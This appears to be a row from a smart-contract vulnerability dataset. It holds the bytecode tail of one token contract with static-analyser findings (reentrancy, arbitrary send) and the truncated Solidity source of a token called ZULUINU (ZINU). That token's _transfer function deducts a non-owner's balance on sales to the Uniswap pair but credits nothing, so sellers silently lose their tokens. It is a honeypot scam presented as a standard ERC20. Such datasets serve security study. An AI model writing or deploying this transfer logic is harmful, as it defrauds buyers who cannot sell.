000000000000000000000000000000000000000000000000000815260040161156290613216565b60405180910390fd5b601060009054906101000a900460ff16156115bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b2906132fc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061164a30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e8000061198e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611695573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b99190613331565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611720573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117449190613331565b6040518363ffffffff1660e01b815260040161176192919061335e565b6020604051808303816000875af1158015611780573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a49190613331565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061182d30610c7b565b600080611838610f15565b426040518863ffffffff1660e01b815260040161185a969594939291906133c2565b60606040518083038185885af1158015611878573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061189d9190613438565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161193f92919061348b565b6020604051808303816000875af115801561195e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198291906134c9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f590613568565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a65906135fa565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b4c9190612abc565b60405180910390a3505050565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bfd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c535750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c5c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc39061368c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d339061371e565b60405180910390fd5b60008111611d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d76906137b0565b60405180910390fd5b6000611d89610f15565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611df75750611dc7610f15565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561243757600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ea75750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611efd5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561223757601060009054906101000a900460ff16611f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f489061381c565b60405180910390fd5b600f54421415611fb4576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b42610258600f54611fc5919061383c565b111561202457600e54611fd784610c7b565b83611fe2919061383c565b1115612023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201a90613904565b60405180910390fd5b5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166120fe5760405180604001604052806000815260200160011515815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42610258600f5461210f919061383c565b11156121eb57600d5482111561215a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215190613970565b60405180910390fd5b601e42612167919061383c565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106121ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e190613a02565b60405180910390fd5b5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156122605750601060009054906101000a900460ff165b80156122ba5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561243657600f426122cc919061383c565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061234f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234690613a94565b60405180910390fd5b600061235a30610c7b565b9050600081111561241757601060029054906101000a900460ff161561240d576064600c546123aa600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c7b565b6123b49190613ab4565b6123be9190613b3d565b81111561240c576064600c546123f5600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c7b565b6123ff9190613ab4565b6124099190613b3d565b90505b5b61241681612568565b5b6000479050600081111561242f5761242e476124fc565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124de5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124e857600090505b6124f585858584866127e1565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612564573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125a05761259f612db1565b5b6040519080825280602002602001820160405280156125ce5781602001602082028036833780820191505090505b50905030816000815181106125e6576125e56130e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561268d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126b19190613331565b816001815181106126c5576126c46130e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061272c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461198e565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612790959493929190613c2c565b600060405180830381600087803b1580156127aa57600080fd5b505af11580156127be573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b60006127ed8383612803565b90506127fb86868684612831565b505050505050565b60008060009050831561282757821561282057600a549050612826565b600b5490505b5b8091505092915050565b60008061283e84846129d4565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461288d91906130b2565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461291b919061383c565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061296781612a12565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129c49190612abc565b60405180910390a3505050505050565b6000806000606484866129e79190613ab4565b6129f19190613b3d565b905060008186612a0191906130b2565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5d919061383c565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612ab681612aa3565b82525050565b6000602082019050612ad16000830184612aad565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b11578082015181840152602081019050612af6565b83811115612b20576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b4282612ad7565b612b4c8185612ae2565b9350612b5c818560208601612af3565b612b6581612b26565b840191505092915050565b60006020820190508181036000830152612b8a8184612b37565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bd182612ba6565b9050919050565b612be181612bc6565b8114612bec57600080fd5b50565b600081359050612bfe81612bd8565b92915050565b612c0d81612aa3565b8114612c1857600080fd5b50565b600081359050612c2a81612c04565b92915050565b60008060408385031215612c4757612c46612b9c565b5b6000612c5585828601612bef565b9250506020612c6685828601612c1b565b9150509250929050565b60008115159050919050565b612c8581612c70565b82525050565b6000602082019050612ca06000830184612c7c565b92915050565b60008060408385031215612cbd57612cbc612b9c565b5b6000612ccb85828601612c1b565b9250506020612cdc85828601612c1b565b9150509250929050565b6000612cf182612ba6565b9050919050565b612d0181612ce6565b82525050565b6000602082019050612d1c6000830184612cf8565b92915050565b600080600060608486031215612d3b57612d3a612b9c565b5b6000612d4986828701612bef565b9350506020612d5a86828701612bef565b9250506040612d6b86828701612c1b565b9150509250925092565b600060ff82169050919050565b612d8b81612d75565b82525050565b6000602082019050612da66000830184612d82565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612de982612b26565b810181811067ffffffffffffffff82111715612e0857612e07612db1565b5b80604052505050565b6000612e1b612b92565b9050612e278282612de0565b919050565b600067ffffffffffffffff821115612e4757612e46612db1565b5b602082029050602081019050919050565b600080fd5b6000612e70612e6b84612e2c565b612e11565b90508083825260208201905060208402830185811115612e9357612e92612e58565b5b835b81811015612ebc5780612ea88882612bef565b845260208401935050602081019050612e95565b5050509392505050565b600082601f830112612edb57612eda612dac565b5b8135612eeb848260208601612e5d565b91505092915050565b600060208284031215612f0a57612f09612b9c565b5b600082013567ffffffffffffffff811115612f2857612f27612ba1565b5b612f3484828501612ec6565b91505092915050565b600060208284031215612f5357612f52612b9c565b5b6000612f6184828501612bef565b91505092915050565b600060208284031215612f8057612f7f612b9c565b5b6000612f8e84828501612c1b565b91505092915050565b612fa081612bc6565b82525050565b6000602082019050612fbb6000830184612f97565b92915050565b612fca81612c70565b8114612fd557600080fd5b50565b600081359050612fe781612fc1565b92915050565b60006020828403121561300357613002612b9c565b5b600061301184828501612fd8565b91505092915050565b6000806040838503121561303157613030612b9c565b5b600061303f85828601612bef565b925050602061305085828601612bef565b9150509250929050565b600060408201905061306f6000830185612aad565b61307c6020830184612aad565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130bd82612aa3565b91506130c883612aa3565b9250828210156130db576130da613083565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061312082612aa3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561315357613152613083565b5b600182019050919050565b7f63616e2774206265207a65726f00000000000000000000000000000000000000600082015250565b6000613194600d83612ae2565b915061319f8261315e565b602082019050919050565b600060208201905081810360008301526131c381613187565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613200602083612ae2565b915061320b826131ca565b602082019050919050565b6000602082019050818103600083015261322f816131f3565b9050919050565b6000819050919050565b600061325b61325661325184612ba6565b613236565b612ba6565b9050919050565b600061326d82613240565b9050919050565b600061327f82613262565b9050919050565b61328f81613274565b82525050565b60006020820190506132aa6000830184613286565b92915050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006132e6601783612ae2565b91506132f1826132b0565b602082019050919050565b60006020820190508181036000830152613315816132d9565b9050919050565b60008151905061332b81612bd8565b92915050565b60006020828403121561334757613346612b9c565b5b60006133558482850161331c565b91505092915050565b60006040820190506133736000830185612f97565b6133806020830184612f97565b9392505050565b6000819050919050565b60006133ac6133a76133a284613387565b613236565b612aa3565b9050919050565b6133bc81613391565b82525050565b600060c0820190506133d76000830189612f97565b6133e46020830188612aad565b6133f160408301876133b3565b6133fe60608301866133b3565b61340b6080830185612f97565b61341860a0830184612aad565b979650505050505050565b60008151905061343281612c04565b92915050565b60008060006060848603121561345157613450612b9c565b5b600061345f86828701613423565b935050602061347086828701613423565b925050604061348186828701613423565b9150509250925092565b60006040820190506134a06000830185612f97565b6134ad6020830184612aad565b9392505050565b6000815190506134c381612fc1565b92915050565b6000602082840312156134df576134de612b9c565b5b60006134ed848285016134b4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613552602483612ae2565b915061355d826134f6565b604082019050919050565b6000602082019050818103600083015261358181613545565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006135e4602283612ae2565b91506135ef82613588565b604082019050919050565b60006020820190508181036000830152613613816135d7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613676602583612ae2565b91506136818261361a565b604082019050919050565b600060208201905081810360008301526136a581613669565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613708602383612ae2565b9150613713826136ac565b604082019050919050565b60006020820190508181036000830152613737816136fb565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061379a602983612ae2565b91506137a58261373e565b604082019050919050565b600060208201905081810360008301526137c98161378d565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613806601883612ae2565b9150613811826137d0565b602082019050919050565b60006020820190508181036000830152613835816137f9565b9050919050565b600061384782612aa3565b915061385283612aa3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561388757613886613083565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b60006138ee602783612ae2565b91506138f982613892565b604082019050919050565b6000602082019050818103600083015261391d816138e1565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b600061395a601b83612ae2565b915061396582613924565b602082019050919050565b600060208201905081810360008301526139898161394d565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b60006139ec602283612ae2565b91506139f782613990565b604082019050919050565b60006020820190508181036000830152613a1b816139df565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613a7e602383612ae2565b9150613a8982613a22565b604082019050919050565b60006020820190508181036000830152613aad81613a71565b9050919050565b6000613abf82612aa3565b9150613aca83612aa3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b0357613b02613083565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b4882612aa3565b9150613b5383612aa3565b925082613b6357613b62613b0e565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ba381612bc6565b82525050565b6000613bb58383613b9a565b60208301905092915050565b6000602082019050919050565b6000613bd982613b6e565b613be38185613b79565b9350613bee83613b8a565b8060005b83811015613c1f578151613c068882613ba9565b9750613c1183613bc1565b925050600181019050613bf2565b5085935050505092915050565b600060a082019050613c416000830188612aad565b613c4e60208301876133b3565b8181036040830152613c608186613bce565b9050613c6f6060830185612f97565b613c7c6080830184612aad565b969550505050505056fea26469706673582212205e846cb274abc452f66850bca4e5e3a8cf29160cdb6b9425b14ad4eb263ff90464736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,329 |
0x9f693fee86200ecb5bb217ae3a3ee0cc325b2377 | pragma solidity >=0.6.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ZULUINU is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply = 1e8*1e18;
string private _name = "ZINU";
string private _symbol = "ZINU";
uint8 private _decimals = 18;
address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap
address private dead = 0x000000000000000000000000000000000000dEaD;
address private pairAddress;
address private _owner = msg.sender;
constructor () {
_mint(address(this), _initialSupply);
_transfer(address(this), dead, _initialSupply*50/100);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address account) public view returns(bool) {
return account == _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function add_liq() public payable onlyOwner {
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy);
pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _initialSupply);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
_initialSupply*50/100,
0, // slippage is unavoidable
0, // slippage is unavoidable
_owner,
block.timestamp
);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) public virtual override {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual override {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
if(sender == _owner || sender == address(this) || recipient == address(this)) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (recipient == pairAddress){ }
else{
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
receive() external payable {}
